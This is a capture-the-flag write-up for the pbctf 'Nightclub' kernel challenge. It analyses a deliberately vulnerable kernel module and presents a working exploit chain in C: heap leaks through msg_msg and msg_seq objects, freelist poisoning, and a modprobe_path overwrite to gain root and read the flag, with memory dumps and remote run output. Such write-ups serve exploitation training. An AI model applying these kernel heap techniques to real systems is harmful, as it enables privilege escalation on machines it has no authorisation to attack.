Nightclub

Description

Do you like Heap-Hop ? Then show me your BHOPs

nc nightclub.chal.perfect.blue 1337

Attachment: xpl.py pwn.c

Team: Super Guesser

long device_ioctl(long fd, unsigned int cmd, request *req)
{
    switch(cmd) {
        case 0xCAFEB001: return add_chunk(req);
        case 0xCAFEB002: return del_chunk(req);
        case 0xCAFEB003: return edit_chunk(req);
        case 0xCAFEB004: return (unsigned int)(edit_chunk - &_kmalloc);
    }

    return -1;
}

Nightclub was a heap note like kernel challenge, that let us add, delete and edit a chunk. It also provided a partial leak, returning the lower 32bit of the relative position from edit_chunk to kmalloc.

The add, delete and edit functions had those weird address checks on top

v1 = (char *)&_kmalloc + 0xFFE355B0;
kernel_chunk = (kernel_chunk *)kmem_cache_alloc_trace(kmalloc_caches[7], 3264LL, 128LL);
kernel_note = kernel_chunk;
if ( (kernel_chunk *)((char *)&_kmalloc + 0xFFE355B0) > kernel_chunk )
{
    v7 = v1 - (char *)kernel_chunk;
    result = 0xFFFFFFFFLL;
    if ( v7 <= 0x5FFFFFF )
      return result;
    if ( &v8 >= (int *)kernel_note )
      goto LABEL_4;
LABEL_12:
    result = 0xFFFFFFFFLL;
    if ( (unsigned __int64)((char *)kernel_note - (char *)&v8) <= 0xFFFFFF )
      return result;
    goto LABEL_5;
}
v4 = kernel_chunk;
result = 0xFFFFFFFFLL;
if ( (unsigned __int64)((char *)v4 - v1) <= 0x5FFFFFF )
    return result;
if ( &v8 < (int *)kernel_note )
    goto LABEL_12;
LABEL_4:
result = 0xFFFFFFFFLL;
if ( (unsigned __int64)((char *)&v8 - (char *)kernel_note) <= 0xFFFFFF )
    return result;

which I just quickly interpreted as pb’s mean way to disallow us to directly edit or add a chunk over modprobe_path. As it turned out later, this was meant to be used for bruteforcing kernel addresses to get the needed leaks. Well, I just ignored it completely and went a different route :’)

Let’s check the rest of add/edit/delete

struct k_obj
{
    k_obj *next;
    k_obj *prev;
    char unk1[0x10];
    unsigned long offset;
    char unk2[0x10];
    unsigned int uid;
    char unk3[0x14];
    unsigned long field0;
    unsigned long field1;
    char message[0x20];
}

long add_chunk(request *u_req)
{
    unsigned int msg_size;
    unsigned int msg_uid;

    k_obj *kobj = kmem_cache_alloc_trace(kmalloc_caches[7], 3264, 128);

    memset(kobj, 0, sizeof(kernel_chunk));

    copy_from_user(&kobj->offset, &u_req->offset, 8);
    copy_from_user(&msg_size, &u_req->msg_size, 4);

    if (msg_size > 0x20 || kobj->offset > 0x10)
    {
        kfree(kobj);
        return -1;
    }
    else
    {
        copy_from_user(&kobj->field0, u_req, 0x10);
        copy_from_user(kobj->message, u_req->message, msg_size);

        kobj->message[msg_size] = 0; // OOB null byte overwrite

        get_random_bytes(&msg_uid, 4);

        k_obj *tmp = master_list;

        master_list = kobj;
        kobj->uid = msg_uid;

        tmp->prev = kobj;
        kobj->next = tmp;
        kobj->prev = &master_list;

        return msg_uid;
    }
}

Simply allocate a chunk and put our message into it. Though terminating our message with a null byte will lead to an oob null byte overwrite of the follow up chunks next ptr, if we provide a msg_size of 0x20 (didn’t use this, since we have the same in edit_chunk also).

long edit_chunk(request *u_req)
{
    int req_uid;
    unsigned long offset;

    copy_from_user(&req_uid, &u_req->chunk_uid, 4LL);
    copy_from_user(offset, &u_req->offset, 8LL);

    // check for empty list
    if (master_list->prev == &master_list)
        return -1;

    k_obj* kobj = master_list;

    // find chunk with matching uid
    while (kobj->uid != req_uid)
    {
        kobj = kobj->next;

        if (kobj == &master_list)
            return -1;
    }

    // check size and offset
    copy_from_user(&size, &u_req->msg_size, 4);

    if (size > 0x20 || offset > 0x10)
        return -1;

    // copy message to kernel object
    copy_from_user(&kobj->message[offset], u_req->message, size); // can overwrite following 0x10 bytes
    
    kobj->message[size + offset[0]] = 0;

    return 0;
}

This is getting more useful. Though, it will check that our msg_size is not bigger than 0x20 and offset isn’t bigger than 0x10, if we use those limits, it will allow us to overwrite 0x10 bytes of the follow up chunk (which will be next and prev pointer of the following chunk).

It also has the same oob NULL byte overwrite (when specifying msg_size 0x20 and offset 0x0) as add_chunk.

long del_chunk(request *u_req)
{
    int req_uid;
    unsigned long offset;

    copy_from_user(&req_uid, &u_req->chunk_uid, 4LL);
    
    // check for empty list
    if (master_list->prev == &master_list)
        return -1;

    k_obj* kobj = master_list;

    // find chunk with matching uid
    while (kobj->uid != req_uid)
    {
        kobj = kobj->next;

        if (kobj == &master_list)
            return -1;
    }

    k_obj* tmp_next = kobj->next;
    k_obj* tmp_prev = kobj->prev;

    tmp_next->prev = tmp_prev;
    tmp_prev->next = tmp_next;

    kobj->next = 0xDEAD000000000100;
    kobj->prev = 0xDEAD000000000122;

    kfree(kobj);

    return 0;
}

This will unlink our chunk from the doubly linked list and free it.

Soooooo, since I totally ignored the intended way to leak kernel addresses, and next and prev pointers were overwritten in del_chunk, I first had to come up with a way to find some proper leaks, to do anything useful with the overwrite in edit_chunk.

Since our messages will always be null terminated, the only thing we can do without knowing exact addresses is to overwrite the LSB of the first qword in a following chunk with a null byte. Putting a msg_msg struct in a freed chunk will also not help us much, since freeing it, would break the message object and we wouldn’t be able to retrieve it anymore after that.

But… a msg_seq object would stay totally fine :)

So, for leaking, I allocated six chunks, deleted the third chunk (which will be at an address ending in a null byte) and sent a message with size 0xfd0+0x20+0x80. This will create a msg_msg object with size 0xfd0 and a msg_seq with size 0x80, thus landing exactly in our just freed chunk.

Then we can use the lsb null overwrite to overwrite the next pointer of the fifth chunk, making it point to the msg_seq object. Then we can just free that chunk, which will trigger the unlink in del_chunk.

k_obj* tmp_next = kobj->next;  // points to our msg_seq object
k_obj* tmp_prev = kobj->prev;

tmp_next->prev = tmp_prev;     // writes kobj->prev to msg_seq+0x8
tmp_prev->next = tmp_next;
for(int i=0; i<6; i++)
    uid[i] = add_chunk(0x20, 0x0, i, i, buf);
        
del_chunk(uid[1]);
del_chunk(uid[2]);

// overwrite LSB of next pointer of followup chunk (uid[4]) with 0x0 pointing to freed chunk (uid[2])
edit_chunk(uid[3], 0x10, 0x10, buf);            

// allocate a msg_seq with 0x80, so it will be put into freed chunk (uid[2])
msgalloc(qid, buf, 0xfd0+0x80+0x20);

// delete chunk uid[4] to trigger unlink in msg_seq
del_chunk(uid[4]);

// receive the leak from msg_seq chunk
msgrcv(qid, buf, 0xfd0+0x80+0x20-0x30, 1, 0);

unsigned long kleak = *((unsigned long*)(buf+0xfd8));
unsigned long msgbase = kleak-0x280;

After deleting the first two chunks, memory will look like this

0xffff888003fcf400:	0xffffffffc0002100	0xffff888003fcf580  <= chunk 1 (uid[0])
0xffff888003fcf410:	0x0000000000000000	0x0000000000000000
0xffff888003fcf420:	0x0000000000000000	0x0000000000000000
0xffff888003fcf430:	0x0000000000000000	0x0000000005aa9c92
0xffff888003fcf440:	0x0000000000000000	0x0000000000000000
0xffff888003fcf450:	0x0000000000000000	0x0000000000000000
0xffff888003fcf460:	0x4141414141414141	0x4141414141414141
0xffff888003fcf470:	0x4141414141414141	0x4141414141414141
0xffff888003fcf480:	0xdead000000000100	0xdead000000000122  <= freed chunk 2 (uid[1])
0xffff888003fcf490:	0x0000000000000000	0x0000000000000000
0xffff888003fcf4a0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf4b0:	0x0000000000000000	0x00000000c5438ea4
0xffff888003fcf4c0:	0xffff888003fcf700	0x0000000000000000
0xffff888003fcf4d0:	0x0000000000000001	0x0000000000000001
0xffff888003fcf4e0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf4f0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf500:	0xdead000000000100	0xdead000000000122  <= freed chunk 3 (uid[2])
0xffff888003fcf510:	0x0000000000000000	0x0000000000000000
0xffff888003fcf520:	0x0000000000000000	0x0000000000000000
0xffff888003fcf530:	0x0000000000000000	0x00000000d03704e0
0xffff888003fcf540:	0xffff888003fcf480	0x0000000000000000
0xffff888003fcf550:	0x0000000000000002	0x0000000000000002
0xffff888003fcf560:	0x4141414141414141	0x4141414141414141
0xffff888003fcf570:	0x4141414141414141	0x4141414141414141
0xffff888003fcf580:	0xffff888003fcf400	0xffff888003fcf600  <= chunk 4 (uid[3])
0xffff888003fcf590:	0x0000000000000000	0x0000000000000000
0xffff888003fcf5a0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf5b0:	0x0000000000000000	0x00000000fbf11440
0xffff888003fcf5c0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf5d0:	0x0000000000000003	0x0000000000000003
0xffff888003fcf5e0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf5f0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf600:	0xffff888003fcf580	0xffff888003fcf680  <= chunk 5 (uid[4])
0xffff888003fcf610:	0x0000000000000000	0x0000000000000000
0xffff888003fcf620:	0x0000000000000000	0x0000000000000000
0xffff888003fcf630:	0x0000000000000000	0x0000000005c67703
0xffff888003fcf640:	0x0000000000000000	0x0000000000000000
0xffff888003fcf650:	0x0000000000000004	0x0000000000000004
0xffff888003fcf660:	0x4141414141414141	0x4141414141414141
0xffff888003fcf670:	0x4141414141414141	0x4141414141414141
0xffff888003fcf680:	0xffff888003fcf600	0xffffffffc0002100

With the null byte overwrite we changed the next ptr from chunk 5 from 0xffff888003fcf580 to 0xffff888003fcf500, now pointing to the freed chunk 3 (uid[2]).

Allocating a message with size 0xfd0+0x80+0x20 will then put a msg_seq object in freed chunk 3.

0xffff888003fcf400:	0xffffffffc0002100	0xffff888003fcf580  <= chunk 1 (uid[0])
0xffff888003fcf410:	0x0000000000000000	0x0000000000000000
0xffff888003fcf420:	0x0000000000000000	0x0000000000000000
0xffff888003fcf430:	0x0000000000000000	0x0000000005aa9c92
0xffff888003fcf440:	0x0000000000000000	0x0000000000000000
0xffff888003fcf450:	0x0000000000000000	0x0000000000000000
0xffff888003fcf460:	0x4141414141414141	0x4141414141414141
0xffff888003fcf470:	0x4141414141414141	0x4141414141414141
0xffff888003fcf480:	0xdead000000000100	0xdead000000000122  <= freed chunk 2 (uid[1])
0xffff888003fcf490:	0x0000000000000000	0x0000000000000000
0xffff888003fcf4a0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf4b0:	0x0000000000000000	0x00000000c5438ea4
0xffff888003fcf4c0:	0xffff888003fcf700	0x0000000000000000
0xffff888003fcf4d0:	0x0000000000000001	0x0000000000000001
0xffff888003fcf4e0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf4f0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf500:	0x0000000000000000	0x5858585858585858  <= msg_seq
0xffff888003fcf510:	0x5858585858585858	0x5858585858585858
0xffff888003fcf520:	0x5858585858585858	0x5858585858585858
0xffff888003fcf530:	0x5858585858585858	0x5858585858585858
0xffff888003fcf540:	0x5858585858585858	0x5858585858585858
0xffff888003fcf550:	0x5858585858585858	0x5858585858585858
0xffff888003fcf560:	0x5858585858585858	0x5858585858585858
0xffff888003fcf570:	0x5858585858585858	0x4141414141414141
0xffff888003fcf580:	0xffff888003fcf400	0xffff888003fcf600  <= chunk 4 (uid[3])
0xffff888003fcf590:	0x0000000000000000	0x0000000000000000
0xffff888003fcf5a0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf5b0:	0x0000000000000000	0x00000000fbf11440
0xffff888003fcf5c0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf5d0:	0x0000000000000003	0x0000000000000003
0xffff888003fcf5e0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf5f0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf600:	0xffff888003fcf500	0xffff888003fcf680  <= chunk 5 (uid[4])
0xffff888003fcf610:	0x0000000000000000	0x0000000000000000
0xffff888003fcf620:	0x0000000000000000	0x0000000000000000
0xffff888003fcf630:	0x0000000000000000	0x0000000005c67703
0xffff888003fcf640:	0x0000000000000000	0x0000000000000000

Freeing chunk 5 will now trigger the unlink in del_chunk, which will write the prev pointer of chunk 5 (0xffff888003fcf680) to the next pointer of chunk 3, which is our msg_seq object.

0xffff888003fcf4f0:	0x4141414141414141	0x4141414141414141
0xffff888003fcf500:	0x0000000000000000	0xffff888003fcf680  <= chunk 3 / msg_seq
0xffff888003fcf510:	0x5858585858585858	0x5858585858585858
0xffff888003fcf520:	0x5858585858585858	0x5858585858585858
0xffff888003fcf530:	0x5858585858585858	0x5858585858585858
0xffff888003fcf540:	0x5858585858585858	0x5858585858585858
0xffff888003fcf550:	0x5858585858585858	0x5858585858585858
0xffff888003fcf560:	0x5858585858585858	0x5858585858585858
0xffff888003fcf570:	0x5858585858585858	0x4141414141414141
0xffff888003fcf580:	0xffff888003fcf400	0xffff888003fcf600

Now we can just msgrcv the complete message, which will contain the prev pointer at offset 0xfd8 :)

Kernel leak      : 0xffff888003fcf680
Message base     : 0xffff888003fcf400

Though in hindsight, it wasn’t really needed, but at that point, I was so afraid, that something might break later on, that I decided to “repair” the “heap” and fixed all addresses in the chunks and reallocated them to get back into a “clean” state…

printf("Change heap to original state\n");
uid[2] = add_chunk(0x10, 0x0, 2, 2, buf);
uid[4] = add_chunk(0x10, 0x0, 4, 4, buf);
uid[1] = add_chunk(0x10, 0x0, 1, 1, buf);
        
unsigned long* ptr = buf+0x10;

(*ptr++) = msgbase + 0x180; // 0xffff888003fcf580;
(*ptr++) = msgbase + 0x100; // 0xffff888003fcf500;

edit_chunk(uid[4], 0x20, 0x10, buf);

ptr = buf+0x10;

(*ptr++) = msgbase;         //  0xffff888003fcf400;
(*ptr++) = msgbase + 0x280; // 0xffff888003fcf680;

edit_chunk(uid[2], 0x20, 0x10, buf);

for(int i=0; i<6; i++)
    del_chunk(uid[i]);
    
memset(buf, 0x42, 0x80);
uid[0] = add_chunk(0x10, 0, 0, 0, buf); 
uid[1] = add_chunk(0x10, 0, 1, 1, buf); 
uid[2] = add_chunk(0x10, 0, 2, 2, buf); 
uid[3] = add_chunk(0x10, 0, 3, 3, buf); 
uid[4] = add_chunk(0x10, 0, 4, 4, buf); 
uid[5] = add_chunk(0x10, 0, 5, 5, buf);

Still, we only have a leak to our kernel heap, but don’t know the kernel base address. But since the module gave us the offset from kmalloc to edit_chunk, all we need for this is a leak to a module address.

Since we now know, where our chunks are allocated in kernel space, we can use the 0x10 byte overwrite to point the next pointer of any chunk to an arbitrary address inside the heap.

With this, we can now create a msg_msg object with size 0x80 and let a next pointer point to it, to edit its size to leak the complete heap.

Also the last allocated chunk will have its prev pointer pointing to master_list, which is in the data section of our module, so we just have to allocate one chunk after the msg_msg object to get that.

// Allocate a msg_msg struct in the heap
msgalloc(qid2, buf, 0x80);        
    
// Add a chunk after the msg_msg, which contains pointer to master_list
uid[6] = add_chunk(0x10, 0, 6, 6, buf);
    
// Overwrite next pointer of chunk 2 with pointer to msg_msg->size
ptr = buf+0x10;
(*ptr++) = msgbase + 0x310 - 0x60;  // msg_msg->size - 0x60;
(*ptr++) = msgbase + 0x180;         

edit_chunk(uid[1], 0x20, 0x10, buf);
    
// Overwrite size of msg_msg via corrupted next chunk
ptr = buf;    
(*ptr++) = 0x1000;
(*ptr++) = 0x0;

edit_chunk(0x4242424242424242, 0x10, 0x8, buf);

// Receive msg_msg with corrupted size
msgrcv(qid2, buf, 0x1000, 1, 0);

unsigned long module_addr = *((unsigned long*)(buf+0x60));
unsigned long module_base = module_addr - 0x2100;
unsigned long kmalloc = module_base + 0x10 - leak;
unsigned long kbase = kmalloc - 0x1caa50;
unsigned long modprobe = kbase + 0x144fca0;

printf("module addr : %p\n", module_addr);
printf("module base : %p\n", module_base);
printf("kmalloc     : %p\n", kmalloc);
printf("kbase       : %p\n", kbase);
printf("modprobe    : %p\n", modprobe);

The next pointer of chunk 0 will point to msg_msg->msg_type - 0x60, so that its message will overlap msg_type / msg_size / msg_next of the msg_msg struct. The msg_uid for this fake chunk now is inside the message from chunk 0, so we can just use 0x4242424242424242 as msg_uid to edit the fake chunk.

0xffff888003fcf650:	0x0000000000000001	0x0000000000000001
0xffff888003fcf660:	0x4242424242424242	0x4242424242424242
0xffff888003fcf670:	0x0101010101010101	0x0101010101010101
0xffff888003fcf680:	0xffff888003fcf6b0	0xffff888003fcf580  <= chunk 0 (corrupted next)
0xffff888003fcf690:	0x0000000000000000	0x0000000000000000
0xffff888003fcf6a0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf6b0:	0x0000000000000000	0x000000002aabd8f7  <= fake chunk
0xffff888003fcf6c0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf6d0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf6e0:	0x4242424242424242	0x4242424242424242  <= fake chunk msg_uid
0xffff888003fcf6f0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf700:	0xffff888003fd3dc0	0xffff888003fd3dc0  <= msg_msg struct
0xffff888003fcf710:	0x0000000000000001	0x0000000000001000  <= msg_type / msg_size (now 0x1000)
0xffff888003fcf720:	0x0000000000000000	0xffff888003fbf200
0xffff888003fcf730:	0x0101010101010101	0x0101010101010101
0xffff888003fcf740:	0x0101010101010101	0x0101010101010101
0xffff888003fcf750:	0x0101010101010101	0x0101010101010101
0xffff888003fcf760:	0x0101010101010101	0x0101010101010101
0xffff888003fcf770:	0x0101010101010101	0x0101010101010101
0xffff888003fcf780:	0xffff888003fcf400	0xffffffffc0002100  <= prev (master_list)
0xffff888003fcf790:	0x0000000000000000	0x0000000000000000
0xffff888003fcf7a0:	0x0000000000000000	0x0000000000000000
0xffff888003fcf7b0:	0x0000000000000000	0x0000000030e46069
module addr : 0xffffffffc0002100
module base : 0xffffffffc0000000
kmalloc     : 0xffffffff811caa50
kbase       : 0xffffffff81000000
modprobe    : 0xffffffff8244fca0

Ok, getting somewhere :)

Since I was still convinced at that point, that those address checks were meant to not allow us adding/editing chunks anywhere outside of the module heap and I wanted to overwrite modprobe_path, I decided that I need another leak to freelist, so that I can allocate a msg_msg object directly on top of modprobe_path.

While I found a leak in my local qemu environment in the same region as the notes were placed, when I finished the exploit and tried to run it remote, it was nowhere to be found anymore :’(

In the end, finding a proper address to leak from, which works local and remote took more time than the complete exploit itself. But, after some time, I found a stable leak at modprobe_path + 0xec520, which worked on both environments.

To read it, I created another msg_msg struct in the module heap and overwrote msg_size and msg_next of it. Receiving that message, will then also read the msg_seq part from our corrupted msg_next (modprobe_path + 0xec520), with which we get a leak from the kernel memory region of the freelist for 0x80 chunks.

int qid3 = msg_open();
msgalloc(qid3, buf, 0x80);

ptr = buf;    
(*ptr++) = 0x1400;              // msg_msg->msg_size
(*ptr++) = modprobe+0xec520;    // msg_msg->msg_next
(*ptr++) = msgbase-0x10198;

// overwrite msg_next of msg_msg object
edit_chunk(0x4242424242424242, 0x18, 0x8, buf);
    
msgrcv(qid3, buf, 0x1400, 1, 0);
    
unsigned long target = *((unsigned long*)(buf+0xfe8));
unsigned long cache_target = target + 0xee00;

printf("Target       : %p\n", target);
printf("Cache target : %p\n", cache_target);

Now we can just overwrite the freelist pointer with a pointer to modprobe_path-0x30.

// Overwrite a next ptr with a pointer into freelist
ptr = buf+0x10;
(*ptr++) = cache_target-0x70+4;
(*ptr++) = msgbase; 

edit_chunk(uid[5], 0x18, 0x10, buf);

// Overwrite 0x80 freelist with modprobe - 0x30    
ptr = buf+4;
(*ptr++) = modprobe-0x30;
(*ptr++) = 0x82;
    
edit_chunk(0x0, 0x10, 0x8, buf);

And all that’s left is to allocate another msg_msg with which we can now overwrite modprobe_path and trigger the usual copy flag modprobe exploit.

// Allocate a msg_msg overwriting modprobe_path
int qid4 = msg_open();

memset(buf, 0x0, 0x1000);
memset(buf, 0x41, 0x80);
strcpy(buf+0x30, "/home/user/copy.sh");
    
msgalloc(qid4, buf, 0x80);
close(fd);

// Execute modprobe_path exploitation
system("/home/user/dummy");
system("cat /home/user/flag");
$ python xpl.py 1
[*] Compile
[+] Opening connection to nightclub.chal.perfect.blue on port 1337: Done
[*] Booting
[+] Starting local process './pow.sh': pid 24719
s.AAAy2OakJIUO0OKNAUcWDhhh3XicEhe8635vqaJMg5b5TqTX31Eod3sQ0R8RftFHLRjooKczpAygmNzguBxumaYtcrr3YIWbK2m6M4bliCxaJMwRHvb4XDk9fABMZbpkLzF8HHnmOV9NKtg79zR6rNTlqO2oerw99pg63DY6oAZ8nPDWcWsMk/egdo2y320qZssev4mTRtMs0/y3UXjphcNQ

[+] Upload: Done
[*] Switching to interactive mode
$ ./pwn
./pwn
Kernel leak   : 0xffffa1e80207c480
Message base  : 0xffffa1e80207c200
module addr   : 0xffffffffc0100100
module base   : 0xffffffffc00fe000
kmalloc       : 0xffffffffb61caa50
kbase         : 0xffffffffb6000000
modprobe      : 0xffffffffb744fca0
Target        : 0xffffa1e81f41dd40
Cache target  : 0xffffa1e81f42cb40
/home/user/dummy: 1: /home/user/dummy: \xff\xff\xff\xff: not found
pbctf{1_am_4ll_4b0ut_n1gh7lif3_cuz_i_h4ck_at_n1gh7}